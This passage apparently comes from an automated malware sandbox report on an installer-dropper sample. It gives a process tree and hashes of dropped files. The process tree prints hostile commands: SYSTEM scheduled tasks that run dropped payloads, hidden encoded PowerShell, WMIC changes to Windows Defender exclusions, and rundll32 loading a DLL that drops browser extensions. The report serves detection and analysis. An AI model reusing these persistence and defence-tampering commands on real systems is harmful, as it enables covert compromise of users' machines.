                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                        schtasks /CREATE /TN "bdmBPZkQYKMDiCzlG" /SC once /ST 03:18:13 /RU "SYSTEM" /TR "\"C:\Windows\Temp\PfAmACXkWBLbKqPZ\wQaztmnOsDzmFZa\wsXKoHd.exe\" 5U /OTaSdidcu 525403 /S" /V1 /F
                                                                                                        2⤵
                                                                                                        • Drops file in Windows directory
                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                        PID:4556
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                        schtasks /run /I /tn "bdmBPZkQYKMDiCzlG"
                                                                                                        2⤵
                                                                                                          PID:2008
                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 2824 -s 792
                                                                                                          2⤵
                                                                                                          • Program crash
                                                                                                          PID:5108
                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                        1⤵
                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                        PID:4188
                                                                                                        • C:\Windows\system32\gpupdate.exe
                                                                                                          "C:\Windows\system32\gpupdate.exe" /force
                                                                                                          2⤵
                                                                                                            PID:5096
                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                          C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                          1⤵
                                                                                                            PID:4280
                                                                                                          • \??\c:\windows\system32\svchost.exe
                                                                                                            c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s fhsvc
                                                                                                            1⤵
                                                                                                              PID:3964
                                                                                                            • \??\c:\windows\system32\gpscript.exe
                                                                                                              gpscript.exe /RefreshSystemParam
                                                                                                              1⤵
                                                                                                                PID:2736
                                                                                                              • C:\Windows\Temp\PfAmACXkWBLbKqPZ\wQaztmnOsDzmFZa\wsXKoHd.exe
                                                                                                                C:\Windows\Temp\PfAmACXkWBLbKqPZ\wQaztmnOsDzmFZa\wsXKoHd.exe 5U /OTaSdidcu 525403 /S
                                                                                                                1⤵
                                                                                                                • Checks computer location settings
                                                                                                                • Executes dropped EXE
                                                                                                                • Drops Chrome extension
                                                                                                                • Drops file in System32 directory
                                                                                                                • Drops file in Program Files directory
                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                PID:1248
                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                  schtasks /DELETE /F /TN "brlogsXZdQLKJRjYtj"
                                                                                                                  2⤵
                                                                                                                    PID:2984
                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                    2⤵
                                                                                                                      PID:4860
                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                        forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                        3⤵
                                                                                                                          PID:3968
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                            4⤵
                                                                                                                              PID:3264
                                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                5⤵
                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                • Drops file in System32 directory
                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                PID:1948
                                                                                                                                • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                  "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                  6⤵
                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                  PID:1940
                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                          schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\ZDLVjxnHU\RfqzAZ.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "tRbTscEIBTcXFpe" /V1 /F
                                                                                                                          2⤵
                                                                                                                          • Drops file in Windows directory
                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                          PID:4112
                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                          schtasks /CREATE /TN "tRbTscEIBTcXFpe2" /F /xml "C:\Program Files (x86)\ZDLVjxnHU\zAwOntl.xml" /RU "SYSTEM"
                                                                                                                          2⤵
                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                          PID:5012
                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                          schtasks /END /TN "tRbTscEIBTcXFpe"
                                                                                                                          2⤵
                                                                                                                            PID:620
                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                            schtasks /DELETE /F /TN "tRbTscEIBTcXFpe"
                                                                                                                            2⤵
                                                                                                                              PID:1436
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /CREATE /TN "UMVDLkRPlKTzVm" /F /xml "C:\Program Files (x86)\ijGSqddcuZeU2\aXcUTcL.xml" /RU "SYSTEM"
                                                                                                                              2⤵
                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                              PID:4468
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /CREATE /TN "qAaqOfviiIaiI2" /F /xml "C:\ProgramData\rPjTFWmQUriHtIVB\ykmsmkk.xml" /RU "SYSTEM"
                                                                                                                              2⤵
                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                              PID:2848
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /CREATE /TN "dnxSRqgonxLOXEwjj2" /F /xml "C:\Program Files (x86)\nIXneLoYhSqxVZkgocR\BuIDoNj.xml" /RU "SYSTEM"
                                                                                                                              2⤵
                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                              PID:648
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /CREATE /TN "symbKzMjSaDuuUPBtNE2" /F /xml "C:\Program Files (x86)\wWtwQxeSPhIsC\kQEMlPB.xml" /RU "SYSTEM"
                                                                                                                              2⤵
                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                              PID:1020
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /CREATE /TN "SQVSLJdEAqcPOSFTe" /SC once /ST 01:31:17 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\PfAmACXkWBLbKqPZ\xfbYicki\PelFBiT.dll\",#1 /KPdidqfmd 525403" /V1 /F
                                                                                                                              2⤵
                                                                                                                              • Drops file in Windows directory
                                                                                                                              • Scheduled Task/Job: Scheduled Task
                                                                                                                              PID:5040
                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                              schtasks /run /I /tn "SQVSLJdEAqcPOSFTe"
                                                                                                                              2⤵
                                                                                                                                PID:4612
                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                schtasks /DELETE /F /TN "bdmBPZkQYKMDiCzlG"
                                                                                                                                2⤵
                                                                                                                                  PID:2356
                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 1248 -s 2096
                                                                                                                                  2⤵
                                                                                                                                  • Program crash
                                                                                                                                  PID:512
                                                                                                                              • \??\c:\windows\system32\rundll32.EXE
                                                                                                                                c:\windows\system32\rundll32.EXE "C:\Windows\Temp\PfAmACXkWBLbKqPZ\xfbYicki\PelFBiT.dll",#1 /KPdidqfmd 525403
                                                                                                                                1⤵
                                                                                                                                  PID:1352
                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                    c:\windows\system32\rundll32.EXE "C:\Windows\Temp\PfAmACXkWBLbKqPZ\xfbYicki\PelFBiT.dll",#1 /KPdidqfmd 525403
                                                                                                                                    2⤵
                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                    • Loads dropped DLL
                                                                                                                                    • Drops file in System32 directory
                                                                                                                                    • Enumerates system info in registry
                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                    PID:4580
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /DELETE /F /TN "SQVSLJdEAqcPOSFTe"
                                                                                                                                      3⤵
                                                                                                                                        PID:692

                                                                                                                                  Network

                                                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                                                  Replay Monitor

                                                                                                                                  Loading Replay Monitor...

                                                                                                                                  Downloads

                                                                                                                                  • C:\$RECYCLE.BIN\S-1-5-18\desktop.ini

                                                                                                                                    Filesize

                                                                                                                                    129B

                                                                                                                                    MD5

                                                                                                                                    a526b9e7c716b3489d8cc062fbce4005

                                                                                                                                    SHA1

                                                                                                                                    2df502a944ff721241be20a9e449d2acd07e0312

                                                                                                                                    SHA256

                                                                                                                                    e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066

                                                                                                                                    SHA512

                                                                                                                                    d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88

                                                                                                                                  • C:\Program Files (x86)\ZDLVjxnHU\zAwOntl.xml

                                                                                                                                    Filesize

                                                                                                                                    2KB

                                                                                                                                    MD5

                                                                                                                                    09c75ca759b7fdebf0e4a2caca045db7

                                                                                                                                    SHA1

                                                                                                                                    9a1d7fa920d201553d14147765c5d333423335d6

                                                                                                                                    SHA256

                                                                                                                                    9d79ca36cab01e2bb6742f82c5bb298306e5043e0788223bcc93b02fe1ae2424

                                                                                                                                    SHA512

                                                                                                                                    a71200db098f74a88565b27ef23d9f7576eb19c011ff042838dab55c31f32e0fbbaa7ed180a1c0b0383e658a4d23d763369647e0689a3c3ebb9fbfb4109d591c

                                                                                                                                  • C:\Program Files (x86)\ijGSqddcuZeU2\aXcUTcL.xml

                                                                                                                                    Filesize

                                                                                                                                    2KB

                                                                                                                                    MD5

                                                                                                                                    84f5764938bef20f2275492f756b3365

                                                                                                                                    SHA1

                                                                                                                                    0869e459c7dece28dc1006dcbeabb62db3e58f73

                                                                                                                                    SHA256

                                                                                                                                    14a8e2c2b7638c8a3c577bb3ded4bfeb350950500d7d73f9dd569178b1dac47b

                                                                                                                                    SHA512

                                                                                                                                    a38f455735702e8150d40be6a28336e58407315db88832418059185e367f2c54dadf1bfbedbdd916205f3639e58790993b8fac6fbdc458db1d7a64085cb04219

                                                                                                                                  • C:\Program Files (x86)\nIXneLoYhSqxVZkgocR\BuIDoNj.xml

                                                                                                                                    Filesize

                                                                                                                                    2KB

                                                                                                                                    MD5

                                                                                                                                    90a2035d783c39561883dc4f3d64546f

                                                                                                                                    SHA1

                                                                                                                                    17f9b96e43c34112ace6cd1fae892b37bf3d120c

                                                                                                                                    SHA256

                                                                                                                                    bd1853f5d3aa936168a32f4a3494ca30bd7f218104139e9c7b1bb7eea69927a0

                                                                                                                                    SHA512

                                                                                                                                    c0db3b11906d5e620a32bd5dd15856e6ff26109467964df6e3d834d3fd44390e4d7f71aae81b0b9c3d95c6818d6994f2a5726548a79edd8b10f69645266b7a58

                                                                                                                                  • C:\Program Files (x86)\wWtwQxeSPhIsC\kQEMlPB.xml

                                                                                                                                    Filesize

                                                                                                                                    2KB

                                                                                                                                    MD5

                                                                                                                                    b5e01700fa52cb1fd7f0252f7d54de04

                                                                                                                                    SHA1

                                                                                                                                    6cc05877d5b2a704f3b1a5f656c16010ed11b6a5

                                                                                                                                    SHA256

                                                                                                                                    511b7df7f88913ade3981d1edf095eba4469a65cfcc7953752b3d45ffa84d5e2

                                                                                                                                    SHA512

                                                                                                                                    485ced6d3f4820dfc8e27a01b591aac72b67563f97faf1e62f4ffe50817ebba9733f7cbed2e5d7c95dc6b25a425dce7775edbc3cc8401587c0b402069cf146ec

                                                                                                                                  • C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi

                                                                                                                                    Filesize

                                                                                                                                    2.0MB

                                                                                                                                    MD5

                                                                                                                                    0429902168db7df7211631c21c85d3d8

                                                                                                                                    SHA1

                                                                                                                                    c2f79d534534d8b9fd006db5fbad7f634c8b24a7

                                                                                                                                    SHA256

                                                                                                                                    832ec5e60f98b178a0162e6f0fdeca1059e214b33ceeb960d5175ef25344e8de

                                                                                                                                    SHA512

                                                                                                                                    a5e4f2d3b24bbce61650d0edfc9219538befb611fedebd0295058172ee0244ab21028bdf676d177a253d1e14aae8d5549743833dde8ddd2e4788a57b850f2a5c

                                                                                                                                  • C:\ProgramData\rPjTFWmQUriHtIVB\ykmsmkk.xml

                                                                                                                                    Filesize

                                                                                                                                    2KB

                                                                                                                                    MD5

                                                                                                                                    20243811bc25752e4c9d82a145e81bce

                                                                                                                                    SHA1

                                                                                                                                    f770e5c8bc1c0ff00c6f3db868cfac74fa6802f2

                                                                                                                                    SHA256

                                                                                                                                    b4b12942b49aec2d78297dd477602b85100a7d0276402b406d513bc805679851

                                                                                                                                    SHA512

                                                                                                                                    2e68e9494d94290b4a3b4a3333ac8bded371a696f737944c0bbb8cac9bc2760ab990c591ffe85dbcd47784ef0ac82c4c2932de9ab310471a07514bfe71e841b9

                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.json

                                                                                                                                    Filesize

                                                                                                                                    187B

                                                                                                                                    MD5

                                                                                                                                    2a1e12a4811892d95962998e184399d8

                                                                                                                                    SHA1

                                                                                                                                    55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                    SHA256

                                                                                                                                    32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                    SHA512

                                                                                                                                    bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.json

                                                                                                                                    Filesize

                                                                                                                                    136B

                                                                                                                                    MD5

                                                                                                                                    238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                                    SHA1

                                                                                                                                    0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                                    SHA256

                                                                                                                                    801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                                    SHA512

                                                                                                                                    2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.json

                                                                                                                                    Filesize

                                                                                                                                    150B

                                                                                                                                    MD5

                                                                                                                                    0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                                    SHA1

                                                                                                                                    6a51537cef82143d3d768759b21598542d683904

                                                                                                                                    SHA256

                                                                                                                                    0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                                    SHA512

                                                                                                                                    5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                                                                                                                                    Filesize

                                                                                                                                    10KB

                                                                                                                                    MD5

                                                                                                                                    e0f9286526960bac0a967e7c1013caf4

                                                                                                                                    SHA1

                                                                                                                                    70b1a13b3ed3379c20f1883bb345926503973f60

                                                                                                                                    SHA256

                                                                                                                                    22288cb6e216ed7e50729806762e264512ec7c882daa225e101d48f47eae860b

                                                                                                                                    SHA512

                                                                                                                                    5e0171a3221d16a2c1fb5f6fc49b093d3b77420846547e99ea299d503b73caa5dc04a8cf1941d013fc0bb416fbb7c03c00797f40b6843c3476bd1f2386cb8122

                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                    Filesize

                                                                                                                                    12KB

                                                                                                                                    MD5

                                                                                                                                    ef92bc180e5d84da5e6711ec71e5260f

                                                                                                                                    SHA1

                                                                                                                                    be6bb131bc5e49edee87fc543c855ab2fe9cd1cb

                                                                                                                                    SHA256

                                                                                                                                    a78cac40d2f6ac63124e1d33f0a77d74a79219411775ea1bd94fea2b001edf0b

                                                                                                                                    SHA512

                                                                                                                                    f8fed540c3e4d9ee8785b164da564d3253a3d39b3bdd53303e68af6c288d5d9dad69c4640a2fc01f83f9be22103528b209011136b71c2fe12df61b0b8f321873

                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS6542.tmp\Install.exe

                                                                                                                                    Filesize

                                                                                                                                    6.4MB

                                                                                                                                    MD5

                                                                                                                                    c52dee58e1654722e85bc9d2cc9318a1

                                                                                                                                    SHA1

                                                                                                                                    6aa1df96f0b154e17f898fd32844fa4e7010e049

                                                                                                                                    SHA256

                                                                                                                                    4041f4481be3085fe58bb53819ca274719f7210f76a091ef846bd4434865bad2

                                                                                                                                    SHA512

                                                                                                                                    fc717c772485c49c4ab89d322831021c1d2530628cb70de72453e5ecf120de3a325b58f0437a92a80968793042c9db64125a4593570497d5642ef16999e4a93c

                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zS66F7.tmp\Install.exe

                                                                                                                                    Filesize

                                                                                                                                    6.7MB

                                                                                                                                    MD5

                                                                                                                                    c620de5bb5cd064dae66dfa434246e55

                                                                                                                                    SHA1

                                                                                                                                    7e539b964609bad8a802a65a7d33126123ec691d

                                                                                                                                    SHA256

                                                                                                                                    c32807f003f32225bac2478e900b302e3b512b4de7dd9e246a892b01378f97cc

                                                                                                                                    SHA512

                                                                                                                                    66834633d63a04e2e738b6ec7e4cb0d0ad1e88ffeca35a43a287b6c505023e1101b69d344898511b259c3742f767a1fe485bb1559e3bebb41c8d84ec4f72f667

                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xfcjn4l2.cse.ps1

                                                                                                                                    Filesize

                                                                                                                                    1B

                                                                                                                                    MD5

                                                                                                                                    c4ca4238a0b923820dcc509a6f75849b

                                                                                                                                    SHA1

                                                                                                                                    356a192b7913b04c54574d18c28d46e6395428ab

                                                                                                                                    SHA256

                                                                                                                                    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

                                                                                                                                    SHA512

                                                                                                                                    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

                                                                                                                                  • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\wjyk7j4u.default-release\prefs.js

                                                                                                                                    Filesize

                                                                                                                                    7KB

                                                                                                                                    MD5

                                                                                                                                    c6c77897b9829b95db7096eb2965d9f0

                                                                                                                                    SHA1

                                                                                                                                    36f6c97a2f6f1c74fcb3767ceb40bbe0b289fcbe

                                                                                                                                    SHA256

                                                                                                                                    e6e90a3ccfd21c34fccb576e162e9e08445c7c3bc2d35a133284b432540d511c

                                                                                                                                    SHA512

                                                                                                                                    df0bca2fe0fe2205090826904c36fee7fe306b4d73cb4b77931736b809412fbcf4fd8a3bde9b3ce8515bc6f7b6fcf5ab243e3835356511ff12f50c64a0e65c6f

                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                    Filesize

                                                                                                                                    1KB

                                                                                                                                    MD5

                                                                                                                                    e33ed3d4cc9b2e5a08ae25747ef47620

                                                                                                                                    SHA1

                                                                                                                                    e2f4cfdd39bcb2eb1c05648a37a3d8536eaf19b7

                                                                                                                                    SHA256

                                                                                                                                    0e7093450fb6bb5201b4291033daf6099881421ab47b122972e0249ef5b45a4f

                                                                                                                                    SHA512

                                                                                                                                    9e990f7ca202c7ecc7a21dd2433055b71bd62f2e524f4702b674316effeb8fa37e891d40f3e6a960380dd7967033c7a7f235e73a3c434e97495e532309b4f95e

                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                    Filesize

                                                                                                                                    12KB

                                                                                                                                    MD5

                                                                                                                                    73183ca7c52f55686a621d93b5279daf

                                                                                                                                    SHA1

                                                                                                                                    928ff396b200dd0ead5e52d18359e78f2fbede97

                                                                                                                                    SHA256

                                                                                                                                    8f386795d21a6b30ebe7ff435a9bc93da25385c74fdfeb2d1804601d5cb7a056

                                                                                                                                    SHA512

                                                                                                                                    efbbcb330d2f4ecd6a03e386fbf3935b75ba6099e55badb8de5c2698a3907f4449398ba812ef32643c9e9e7aa26864878334630905c9693f7568420a22d0e1bb

                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                    Filesize

                                                                                                                                    12KB

                                                                                                                                    MD5

                                                                                                                                    6474ce90679426aa7502a60568d6f7dd

                                                                                                                                    SHA1

                                                                                                                                    030e6f1dfe126fc937a79451c006773bb38b5873

                                                                                                                                    SHA256

                                                                                                                                    02546f2c5ba028529b2efe2f7a726b7a22a8396dffb4883669c957b392008678

                                                                                                                                    SHA512

                                                                                                                                    61e7f90d35c8598c2d36e470fd378c433462c2acecbb1b77e09443cd199068fa63e464d013a5b8ba39d251f5aabab14befe045aa3e628ad99cf24e1e3cb33120

                                                                                                                                  • C:\Windows\Temp\PfAmACXkWBLbKqPZ\xfbYicki\PelFBiT.dll

                                                                                                                                    Filesize

                                                                                                                                    6.4MB

                                                                                                                                    MD5

                                                                                                                                    0e0f3c296e7c61bdd612a4256769579e

                                                                                                                                    SHA1

                                                                                                                                    bc2ea1335b7c818a9dab5c12ded16079613282cc

                                                                                                                                    SHA256

                                                                                                                                    5b0426dc799b941884ad8e266ebaeca07ffce34faf457880d76ee82c54784908

                                                                                                                                    SHA512

                                                                                                                                    766c21db290c413fe260f7ebd3d41907ccb9bf1a3a909ebc622b10735c296a481ca2bf67883ca01588df3aebe75db1452b0b689872ed8e8e13fcb2c2f3d7b67c

                                                                                                                                  • C:\Windows\system32\GroupPolicy\Machine\Registry.pol

                                                                                                                                    Filesize

                                                                                                                                    6KB

                                                                                                                                    MD5

                                                                                                                                    0921c4bb94dcfcaf8c76aea24e0d50da

                                                                                                                                    SHA1

                                                                                                                                    ea777ed0213d6b97cacb4b88f527af976689319f

                                                                                                                                    SHA256

                                                                                                                                    cb190f607af4c708dbab67d10b75faee2aaf2689beb2a8c378a1122ff13a1e0f

                                                                                                                                    SHA512

                                                                                                                                    9a1d1258f8804274fddec1f03e0c19246a392c758c374aee085fb92561b10f62946ad5405dbf08abc810d0b9759255b40fc578794b9508131586d69fe90bf724

                                                                                                                                  • memory/1248-412-0x00000000001F0000-0x000000000089F000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    6.7MB

                                                                                                                                  • memory/1248-378-0x0000000003D10000-0x0000000003D9A000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    552KB

                                                                                                                                  • memory/1248-195-0x00000000034F0000-0x000000000355E000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    440KB

                                                                                                                                  • memory/1248-389-0x0000000003DA0000-0x0000000003E75000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    852KB

                                                                                                                                  • memory/1248-123-0x00000000001F0000-0x000000000089F000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    6.7MB

                                                                                                                                  • memory/1248-124-0x0000000010000000-0x000000001069F000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    6.6MB

                                                                                                                                  • memory/1248-139-0x0000000002BE0000-0x0000000002C65000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    532KB

                                                                                                                                  • memory/1948-146-0x00000000066E0000-0x0000000006A30000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    3.3MB

                                                                                                                                  • memory/1948-154-0x0000000006AC0000-0x0000000006B0B000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    300KB

                                                                                                                                  • memory/2340-53-0x0000000006CB0000-0x0000000006CFB000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    300KB

                                                                                                                                  • memory/2340-52-0x0000000006730000-0x0000000006A80000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    3.3MB

                                                                                                                                  • memory/2692-27-0x0000000007F40000-0x0000000007F8B000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    300KB

                                                                                                                                  • memory/2692-21-0x0000000007240000-0x0000000007868000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    6.2MB

                                                                                                                                  • memory/2692-20-0x0000000004A80000-0x0000000004AB6000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    216KB

                                                                                                                                  • memory/2692-22-0x0000000007180000-0x00000000071A2000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    136KB

                                                                                                                                  • memory/2692-23-0x0000000007950000-0x00000000079B6000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    408KB

                                                                                                                                  • memory/2692-24-0x0000000007AC0000-0x0000000007B26000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    408KB

                                                                                                                                  • memory/2692-25-0x0000000007B30000-0x0000000007E80000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    3.3MB

                                                                                                                                  • memory/2692-28-0x00000000081E0000-0x0000000008256000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    472KB

                                                                                                                                  • memory/2692-26-0x00000000078D0000-0x00000000078EC000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    112KB

                                                                                                                                  • memory/2824-45-0x0000000001230000-0x00000000018DF000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    6.7MB

                                                                                                                                  • memory/2824-46-0x0000000010000000-0x000000001069F000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    6.6MB

                                                                                                                                  • memory/2824-122-0x0000000001230000-0x00000000018DF000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    6.7MB

                                                                                                                                  • memory/4188-89-0x000001F999750000-0x000001F999772000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    136KB

                                                                                                                                  • memory/4188-93-0x000001F999A40000-0x000001F999AB6000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    472KB

                                                                                                                                  • memory/4580-407-0x00000000037A0000-0x0000000003E3F000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    6.6MB

                                                                                                                                  • memory/5068-43-0x0000000001230000-0x00000000018DF000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    6.7MB

                                                                                                                                  • memory/5068-17-0x00007FFF95E30000-0x00007FFF9600B000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    1.9MB

                                                                                                                                  • memory/5068-13-0x0000000010000000-0x000000001069F000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    6.6MB

                                                                                                                                  • memory/5068-12-0x0000000001230000-0x00000000018DF000-memory.dmp

                                                                                                                                    Filesize

                                                                                                                                    6.7MB